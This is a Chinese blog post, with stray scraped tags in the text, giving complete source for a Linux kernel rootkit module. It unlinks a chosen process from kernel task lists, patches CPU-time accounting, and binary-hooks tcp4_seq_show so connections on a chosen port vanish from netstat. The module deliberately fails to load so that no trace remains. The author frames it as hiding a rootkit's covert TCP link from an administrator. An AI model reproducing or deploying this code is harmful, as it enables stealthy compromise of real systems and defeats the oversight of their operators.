前文中,我描述了一種完全隱藏進程的方法:
https://blog.csdn.net/dog250/article/details/105292504
而且,我給出瞭如何恢復的方法:
https://blog.csdn.net/dog250/article/details/105371830
node
可是不過癮,通常而言,rootkit都是會偷偷創建一個TCP鏈接的,那麼如何不讓經理髮現這些鏈接呢?雖然經理看不到進程,可是經理會netstat啊。linux
使用net namespace能夠隱藏全部的鏈接,方法參見:
https://blog.csdn.net/dog250/article/details/103182447
可是,如此一來,經理會懵的,經理會徹查這是怎麼回事,因此這不妥。
數據結構
必需要僅僅隱藏特定的TCP鏈接!tcp
顯然,將特定的TCP鏈接從ehash中摘除是一個完全的方案,然而這須要hotfix tcp_v4_rcv函數,大規模二進制hook的手藝我已經發誓再也不玩了,因此此次,我也俗套一把,我來hook掉TCP鏈接的顯示接口,即 tcp4_seq_show!ide
和常規方法不一樣的是,我不使用替換operation指針的方法,而是稍微採用二進制hook的方法,我會在tcp4_seq_show的最前面調用下面的邏輯:函數
void stub_func_tcp_seq_show(struct seq_file *seq, void *v) { // 過濾掉特定端口的TCP鏈接的顯示 if (v != SEQ_START_TOKEN && ((struct sock *)v)->sk_num == 1234) { // 1234這個當即數是須要根據模塊參數校準的,若是符合,便skip掉原始tcp4_seq_show的stack。 asm ("pop %rbp; pop %r11; xor %eax, %eax; retq;"); } }
其實就這麼簡單,接下來就是例行的poke過程:ui
void hide_net(struct task_struct *task) { unsigned short *pport; char *tcp_stub; s32 offset; _tcp4_seq_show = (void *)kallsyms_lookup_name("tcp4_seq_show"); if (!_tcp4_seq_show) { printk("_tcp4_seq_show not found\n"); return; } hide_tcp4_seq_show = (void *)___vmalloc_node_range(128, 1, START, END, GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC, -1, __builtin_return_address(0)); if (!hide_tcp4_seq_show) { printk("nomem\n"); return; } memcpy(hide_tcp4_seq_show, stub_func_tcp_seq_show, 0x64); pport = (unsigned short *)&hide_tcp4_seq_show[19]; *pport = port; tcp_stub = (void *)hide_tcp4_seq_show; jmp_call[0] = 0xe8; offset = (s32)((long)tcp_stub - (long)_tcp4_seq_show - FTRACE_SIZE); (*(s32 *)(&jmp_call[1])) = offset; get_online_cpus(); mutex_lock(_text_mutex); _text_poke_smp(&_tcp4_seq_show[POKE_OFFSET], jmp_call, POKE_LENGTH); mutex_unlock(_text_mutex); put_online_cpus(); }
雖然這種方法沒有直接摘鏈表的方法完全,但也是很牛X的,至少比替換operations結構體的方法來的簡單吧!spa
連同以前的隱藏進程的代碼一塊兒,完整的代碼以下:.net
#include <linux/module.h> #include <net/tcp.h> #include <linux/kernel.h> #include <linux/kallsyms.h> #include <linux/sched.h> #include <linux/sched.h> #include <linux/nsproxy.h> #include <linux/cpu.h> char *stub = NULL; char *addr_user = NULL; char *addr_sys = NULL; char *_tcp4_seq_show = NULL; unsigned long *percpuoff = NULL; static unsigned int pid = 0; module_param(pid, int, 0444); static unsigned int hide = 1; module_param(hide, int, 0444); static unsigned short port = 1234; module_param(port, short, 0444); // stub函數模版 void stub_func_account_time(struct task_struct *p, u64 cputime, u64 cputime_scaled) { // 先用0x11223344來佔位,模塊加載的時候經過pid參數來校準 if (p->pid == 0x11223344) { asm ("pop %rbp; pop %r11; retq;"); } } void stub_func_tcp_seq_show(struct seq_file *seq, void *v) { // 過濾掉特定端口的TCP鏈接的顯示 if (v != SEQ_START_TOKEN && ((struct sock *)v)->sk_num == 1234) { asm ("pop %rbp; pop %r11; xor %eax, %eax; retq;"); } } #define FTRACE_SIZE 5 #define POKE_OFFSET 0 #define POKE_LENGTH 5 #define RQUEUE_SIZE 2680 #define TASKS_OFFSET 2344 #define CPU_OFFSET 2336 void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align, unsigned long start, unsigned long end, gfp_t gfp_mask, pgprot_t prot, int node, const void *caller); static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len); static struct mutex *_text_mutex; // 須要額外分配的stub函數 char *hide_account_user_time = NULL; char *hide_tcp4_seq_show = NULL; unsigned char jmp_call[POKE_LENGTH]; #define START _AC(0xffffffffa0000000, UL) #define END _AC(0xffffffffff000000, UL) void hide_net(struct task_struct *task) { unsigned short *pport; char *tcp_stub; s32 offset; _tcp4_seq_show = (void *)kallsyms_lookup_name("tcp4_seq_show"); if (!_tcp4_seq_show) { printk("_tcp4_seq_show not found\n"); return; } hide_tcp4_seq_show = (void *)___vmalloc_node_range(128, 1, START, END, GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC, -1, __builtin_return_address(0)); if (!hide_tcp4_seq_show) { printk("nomem\n"); return; } memcpy(hide_tcp4_seq_show, stub_func_tcp_seq_show, 0x64); pport = (unsigned short *)&hide_tcp4_seq_show[19]; *pport = port; tcp_stub = (void *)hide_tcp4_seq_show; jmp_call[0] = 0xe8; offset = (s32)((long)tcp_stub - (long)_tcp4_seq_show - FTRACE_SIZE); (*(s32 *)(&jmp_call[1])) = offset; get_online_cpus(); mutex_lock(_text_mutex); _text_poke_smp(&_tcp4_seq_show[POKE_OFFSET], jmp_call, POKE_LENGTH); mutex_unlock(_text_mutex); put_online_cpus(); } void restore_net(struct task_struct *task) { s32 offset = *(unsigned int *)&_tcp4_seq_show[1]; stub = (char *)(offset + (unsigned long)_tcp4_seq_show + FTRACE_SIZE); get_online_cpus(); mutex_lock(_text_mutex); _text_poke_smp(&_tcp4_seq_show[POKE_OFFSET], &stub[0], POKE_LENGTH); mutex_unlock(_text_mutex); put_online_cpus(); vfree(stub); } void hide_process(void) { struct task_struct *task = NULL; struct pid_link *link = NULL; struct hlist_node *node = NULL; task = pid_task(find_vpid(pid), PIDTYPE_PID); link = &task->pids[PIDTYPE_PID]; list_del_rcu(&task->tasks); INIT_LIST_HEAD(&task->tasks); node = &link->node; hlist_del_rcu(node); INIT_HLIST_NODE(node); node->pprev = &node; printk("task hide is:%p\n", task); hide_net(task); } #define CRQ_OFFSET 160 int reshow_process(void) { struct list_head *list; struct task_struct *p, *n; unsigned long *rq_addr, base_rq; char *tmp; int cpu = smp_processor_id(); struct task_struct *task = current; struct pid_link *link = NULL; // 根據current順藤摸瓜找到本CPU的rq tmp = (char *)task->se.cfs_rq;; rq_addr = (unsigned long *)(tmp + CRQ_OFFSET); tmp = (char *)*rq_addr; // 根據本CPU的rq以及per cpu offset找到基準rq在percpu的偏移 cpu = (int)*(int *)(tmp + CPU_OFFSET); base_rq = (unsigned long)tmp - (unsigned long)percpuoff[cpu]; task = NULL; for_each_possible_cpu(cpu) { tmp = (char *)(percpuoff[cpu] + base_rq); list = (struct list_head *)&tmp[TASKS_OFFSET]; list_for_each_entry_safe(p, n, list, se.group_node) { if (list_empty(&p->tasks)) { task = p; break; } } if (task) break; } // 進程可能sleep/wait在某個queue,請喚醒它重試 if (!task) return 1; restore_net(task); link = &task->pids[PIDTYPE_PID]; hlist_add_head_rcu(&link->node, &link->pid->tasks[PIDTYPE_PID]); list_add_tail_rcu(&task->tasks, &init_task.tasks); return 0; } static int __init rootkit_init(void) { // 32位相對跳轉偏移 s32 offset; // 須要校準的pid指針位置。 unsigned int *ppid; addr_user = (void *)kallsyms_lookup_name("account_user_time"); addr_sys = (void *)kallsyms_lookup_name("account_system_time"); if (!addr_user || !addr_sys) { printk("一切尚未準備好!請先加載sample模塊。\n"); return -1; } // 必須採用帶range的內存分配函數,不然咱們沒法保證account_user_time能夠32位相對跳轉過來! ___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range"); _text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp"); _text_mutex = (void *)kallsyms_lookup_name("text_mutex"); if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) { printk("還沒開始,就已經結束。"); return -1; } if (hide == 0) { offset = *(unsigned int *)&addr_user[1]; stub = (char *)(offset + (unsigned long)addr_user + FTRACE_SIZE); percpuoff = (void *)kallsyms_lookup_name("__per_cpu_offset"); if (!percpuoff) return -1; if (reshow_process()) return -1; get_online_cpus(); mutex_lock(_text_mutex); _text_poke_smp(&addr_user[POKE_OFFSET], &stub[0], POKE_LENGTH); _text_poke_smp(&addr_sys[POKE_OFFSET], &stub[0], POKE_LENGTH); mutex_unlock(_text_mutex); put_online_cpus(); vfree(stub); return -1; } // 爲了能夠在32位範圍內相對跳轉,必須在START後分配stub func內存 hide_account_user_time = (void *)___vmalloc_node_range(128, 1, START, END, GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC, -1, __builtin_return_address(0)); if (!hide_account_user_time) { printk("很遺憾,內存不夠了\n"); return -1; } // 把模版函數拷貝到真正的stub函數中 memcpy(hide_account_user_time, stub_func_account_time, 0x25); // 校準pid當即數 ppid = (unsigned int *)&hide_account_user_time[12]; // 使用當即數來比較pid,否則模塊釋放掉之後pid參數將再也不可讀 *ppid = pid; stub = (void *)hide_account_user_time; jmp_call[0] = 0xe8; offset = (s32)((long)stub - (long)addr_user - FTRACE_SIZE); (*(s32 *)(&jmp_call[1])) = offset; get_online_cpus(); mutex_lock(_text_mutex); _text_poke_smp(&addr_user[POKE_OFFSET], jmp_call, POKE_LENGTH); mutex_unlock(_text_mutex); put_online_cpus(); offset = (s32)((long)stub - (long)addr_sys - FTRACE_SIZE); (*(s32 *)(&jmp_call[1])) = offset; get_online_cpus(); mutex_lock(_text_mutex); _text_poke_smp(&addr_sys[POKE_OFFSET], jmp_call, POKE_LENGTH); mutex_unlock(_text_mutex); put_online_cpus(); // 隱藏進程,將其從數據結構中摘除 hide_process(); // 事了拂衣去,不留痕跡 return -1; } static void __exit rootkit_exit(void) { // 事了拂衣去了,什麼都沒有留下,也沒必要再過問! } module_init(rootkit_init); module_exit(rootkit_exit); MODULE_LICENSE("GPL");
該模塊有三個參數:指針
- pid:須要隱藏的進程pid,只有在hide=1時有效。
- hide:是隱藏(1)仍是恢復(0),當隱藏時,須要pid和port。
- port:須要隱藏的目標端口,目標端口爲port的TCP鏈接都會被隱藏。
放心加載,模塊不會加載成功,把事情作了,事了拂衣去,深藏身與名。
浙江溫州皮鞋溼,下雨進水不會胖。